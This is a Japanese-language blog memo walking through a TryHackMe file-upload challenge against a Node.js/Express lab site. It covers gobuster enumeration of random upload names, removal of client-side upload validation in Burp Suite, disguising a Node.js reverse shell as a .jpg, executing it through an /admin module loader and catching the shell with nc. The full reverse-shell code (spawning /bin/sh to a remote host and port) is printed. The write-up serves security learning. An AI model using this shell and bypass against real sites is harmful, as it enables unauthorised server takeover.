webシェルのアップロード
tyrhackmeの以下のコース。中々やりごたえがあったのと面白かったのでメモ。
注)WriteUpではないです。
今回の対象は、「Task 11 Challenge」になります。

ミッションを要約すると、
- 対象のサイトにwebシェル(ncに対するリバースシェル)をアップロード
- ncで待ち受けているポートに接続させる
- 接続後、/var/wwwの中にあるフラグを取得せよ
そして前提条件も書かれていて、
- アップロードしたファイルはランダムな名前が付けられてサーバー上に保存される。
- ランダムな名前リストは、「Download Task File」をクリックして落とせる。
- このウェブアプリには不正なファイルがアップロードされないようにバリデーションが存在する。
こんな感じです。
上記のタスクファイルをダウンロードして中身を見てみると、こんな内容でした。
$ cat UploadVulnsWordlist.txt
AAA
AAB
AAC
AAD
AAE
AAF
AAG
AAH
AAI
(・・・省略)
これはアップロード時に作成されたファイル名のブルートフォースに使えそう。
STEP1 情報収集
とりあえず、サイトを見てみる。

こんな感じ。ファイルをアップロードするリンクがある。また、アップロードしたファイルは、この画面に表示されると言うようなことが書いてある。
という事は、今表示されている画像のパスと、アップロードされるファイルのパスは同じと予想できるので、表示されている画像のパスを調べておく。

今表示されている画像は、「/content/UAD.jpg」らしい。ブラウザのURL欄に直接打ち込んでみると画像が表示されたので、画像フォルダはcontentということが解った。
Wappalyzerを使用して、言語やフレームワークなどを確認する。

nodejsで、Express上で動いていることが解った。という事は、今回必要となるwebシェルはnodejsになりそう。
STEP2 ディレクトリ構造の確認
gobusterでどんなディレクトリがあるかを確認。
$ gobuster dir -u http://jewel.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 100
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://jewel.uploadvulns.thm
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/04/03 08:48:12 Starting gobuster in directory enumeration mode
===============================================================
/content (Status: 301) [Size: 181] [--> /content/]
/assets (Status: 301) [Size: 179] [--> /assets/]
/admin (Status: 200) [Size: 1238]
/modules (Status: 301) [Size: 181] [--> /modules/]
「/content」「/assets」「/admin」「/modules」の4つのパスが見つかった。
- /contentにアクセスしてみる。

- /assetsにアクセスしてみる。

- /adminにアクセスしてみる。なにかここにファイルパスを入れることにより、モジュールをアクティブにできると書かれている。後々必要になりそう。

- /modulesにアクセスしてみる。

パス | 推論 |
---|---|
/content | アップロードした画像ファイルが保存されそう。 |
/assetes | 普通に考えたら、jsやcssが置かれていそうなので、今回は関係がなさそう。 |
/admin | モジュールをロードさせることができそう。後々使う。 |
/modules | ロードするモジュールが置かれる場所のような気がする。 |
STEP1の調査で画像ファイルは、「/content/UAD.jpg」などのように保存されていることが解ったので、このディレクトリに他のファイルも無いか調査する。この調査には、一番最初にダウンロードしたブルートフォース用のファイルを使ってみる。
gobuster dir -u http://jewel.uploadvulns.thm/content -w ./UploadVulnsWordlist.txt -x jpg -t 100
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://jewel.uploadvulns.thm/content
[+] Method: GET
[+] Threads: 100
[+] Wordlist: ./UploadVulnsWordlist.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: jpg
[+] Timeout: 10s
===============================================================
2023/04/03 09:09:59 Starting gobuster in directory enumeration mode
===============================================================
/ABH.jpg (Status: 200) [Size: 705442]
/LKQ.jpg (Status: 200) [Size: 444808]
/SAD.jpg (Status: 200) [Size: 247159]
/UAD.jpg (Status: 200) [Size: 342033]
Progress: 35152 / 35154 (99.99%)
===============================================================
2023/04/03 09:11:46 Finished
===============================================================
全部で4つのファイルが見つかった。
ではアップロードしたファイルもここに保存されるのか、実際にちゃんとした画像ファイルをアップロードして試してみる。

「a.jpg」というjpgファイルをアップしたところ、「FILE SUCCESSFULLY UPLOASDED」と表示されていて成功したよう。
では、怪しいcontentフォルダにファイルが保存されているか確認をしてみる。
gobuster dir -u http://jewel.uploadvulns.thm/content -w ./UploadVulnsWordlist.txt -x jpg -t 100
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://jewel.uploadvulns.thm/content
[+] Method: GET
[+] Threads: 100
[+] Wordlist: ./UploadVulnsWordlist.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: jpg
[+] Timeout: 10s
===============================================================
2023/04/03 09:14:20 Starting gobuster in directory enumeration mode
===============================================================
/ABH.jpg (Status: 200) [Size: 705442]
/GHH.jpg (Status: 200) [Size: 5505]
/LKQ.jpg (Status: 200) [Size: 444808]
/SAD.jpg (Status: 200) [Size: 247159]
/UAD.jpg (Status: 200) [Size: 342033]
「GHH.jpg」が増えている。ブラウザのURLに直接打ち込んでアクセスしたらアップロードした画像が表示された。

ということで、保存先は/contentで、名前はランダムに変えて保存される。拡張子はそのままということでよさそう。
STEP3 バリデーションロジックの解析
バリデーションには、フロントサイドとサーバーサイドの2つが存在すると考えられる。もし今回フロントのバリデーションが使われていた場合は、ツールを使えばいくらでも回避ができる。
どんなファイルが読み込まれているか、Burp Suiteで調査してみる。

4つのjsが読み込まれていることが解ったが、ステータスが「304 No Modified」となっていてブラウザに既にキャッシュされてしまっていることがわかる。これだと、jsをインターセプトしたくても出来ないので、キャッシュをリフレッシュする必要がある。
また、デフォルトではjsをInterceptから除外するような設定になっているので、Proxyの設定も以下のように修正する。

上記、赤枠の部分の、「|^js$」を削除して以下のようにして保存する。
(^gif$|^jpg$|^png$|^css$|^ico$|^svg$|^eot$|^woff$|^woff2$|^ttf$)
この状態で、ProxyのInterceptをONにしてブラウザを更新。
そうすると、各通信毎にステップバイ実行となる。今回の調査に関係なさそうなファイルはForwardで先送りしていく。
その中で、今回の調査に関係がありそうな「upload.js」を発見。このファイルは、「Do intercept」の、「Response to this request」に送る。その他は特に重要そうなファイルが見つからなかったので、全部「Forward」した。

そうするとこんな画面になる。

ここで、フロントサイドでのバリデーションをjsでやっていることがわかる。この部分を削除して、Forwardを押す。

そうすると、ブラウザに表示されているjsは上記の部分が無いものが読み込まれているので、バイパスできたはず。しかし、この先でサーバーサイドでもバリデーションされている場合は、他の方法も追加で考える必要がある。
STEP4 webシェルをアップロードしてみる
ここにいろんなペイロードがおいてある。ここから、node用のwebシェルをおとしてくる。ちなみに、Kaliの中にはデフォルトで「/usr/share/laudanum/」にもwebシェルが入っているが、nodejsはなかった。
今回使うのはこれ。IPの部分を待ち受けている自分のIPにする。
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
これを、「n.js」という名前で保存した。
そして、ブラウザから(jsのバリデーションを削除した状態のもの)、n.jsをアップロードしてみる。

失敗した。おそらくサーバーサイドのバリデーションに引っかかったと思う。サーバーサイドでも、拡張子やファイルの中身のMIME TYPEをチェックしている可能性があるが、いったん拡張子を変更して、「n.jpg」にして再度アップしてみる。
先ほどと同じ様に、「FILE SUCCESSFULLY UPLOASDED」が表示されて成功した!!
STEP5 n.jpgがサーバーに保存されているか確認
確認方法は、STEP2と同じでランダムなファイルが増えていたらOK。
gobuster dir -u http://jewel.uploadvulns.thm/content -w ./UploadVulnsWordlist.txt -x jpg -t 100
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://jewel.uploadvulns.thm/content
[+] Method: GET
[+] Threads: 100
[+] Wordlist: ./UploadVulnsWordlist.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: jpg
[+] Timeout: 10s
===============================================================
2023/04/03 09:55:05 Starting gobuster in directory enumeration mode
===============================================================
/ABH.jpg (Status: 200) [Size: 705442]
/GHH.jpg (Status: 200) [Size: 5505]
/LKQ.jpg (Status: 200) [Size: 444808]
/NZZ.jpg (Status: 200) [Size: 381]
/SAD.jpg (Status: 200) [Size: 247159]
/UAD.jpg (Status: 200) [Size: 342033]
「NZZ.jpg」が増えている。
では、ブラウザから直接アクセスしてみる。

アクセスは出来たが、こんな感じ。まあ拡張子が、jpgなのに中身がjsだからこうなる。
では、どうやってjpgのものをサーバーにコードとして実行させるか?実はここが超悩んだ。しかし、最初の調査で、「/admin」というパスがあったことを思い出して、ダメ元でadminからこのjpgをモジュールとしてロードさせてみた。modulesディレクトリとcontentディレクトリは同列にあるので、パスはこの様になる。

そうすると何かサーバー側で動いたが何も反応なし。
仕上げ
それもそのはず、このファイルの中身なリバースシェルだった。
ローカルでポートを開いて待ち受けてから、上記のモジュールロードをすると、シェルの奪取に成功した。
$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.18.43.38] from (UNKNOWN) [10.10.7.154] 55066